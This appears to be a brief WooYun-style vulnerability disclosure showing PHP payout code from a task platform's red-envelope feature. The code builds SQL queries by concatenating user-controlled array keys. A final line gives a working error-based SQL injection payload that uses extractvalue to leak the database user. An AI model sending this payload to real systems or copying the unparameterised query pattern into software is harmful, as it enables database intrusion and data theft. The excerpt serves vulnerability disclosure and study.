WooYun.org

public static function changehongbao($task_id,$moneys,$uid,$money,$title,$g) {
		$result=db_factory::get_one('select * from '.TABLEPRE.'witkey_space where uid='.$uid);
		if($g){
			$newbalance=$result['balance']-$money+$moneys;
			db_factory::query('update '.TABLEPRE.'witkey_space set balance='.$newbalance.' where uid='.$uid);
			keke_finance_class::insert_trust("in", "task_xg", $uid, -$money+$moneys, $newbalance);
		}else{
			$newbalance=$result['balance']+$money;
			keke_finance_class::insert_trust("in", "finish_task", $uid,$money, $newbalance,$task_id);
			db_factory::query('update '.TABLEPRE.'witkey_space set balance='.$newbalance.' where uid='.$uid);
			db_factory::query('update '.TABLEPRE.'witkey_space set is_hongbao=1 where uid='.$uid);
			db_factory::query('update '.TABLEPRE.'witkey_task_work set work_status=4 where uid='.$uid.' and task_id='.$task_id);
		}
		if(!$g){
			$v_arr = array (
				"红包任务" => '【'.$title.'】',
				"红包金额" => $money
		);
			keke_msg_class::notify_user($uid, $result['username'], 'select', '红包任务完成通知',$v_arr);
		}
		return true;
	}

......
foreach ($cbk as $key => $val) {
		do {
			$lcg = lcg_value();
		} while ($lcg < 0.1);
		if (($key + 1) == $count) {
			$selefHongBao[$val] = $hongbaoSum;
		} else {
			$selefHongBao[$val] = number_format($lcg * $hongbaoSum, 2);
		}
		$hongbaoSum -= $selefHongBao[$val];
		$a += $selefHongBao[$val];
	}
	foreach ($selefHongBao as $k => $v) {
		CommonClass::changehongbao($task_id, $task_info[0]['task_cash'], $k, $v, $task_info[0]['task_title']);
	}
	CommonClass::changehongbao('', $task_info[0]['task_cash'], $gUid, $a, $task_info[0]['task_title'], 1);
.......

formhash=1&selefHongBao[111 and extractvalue(1,concat(0x5c,user()))]=1111&task_id=1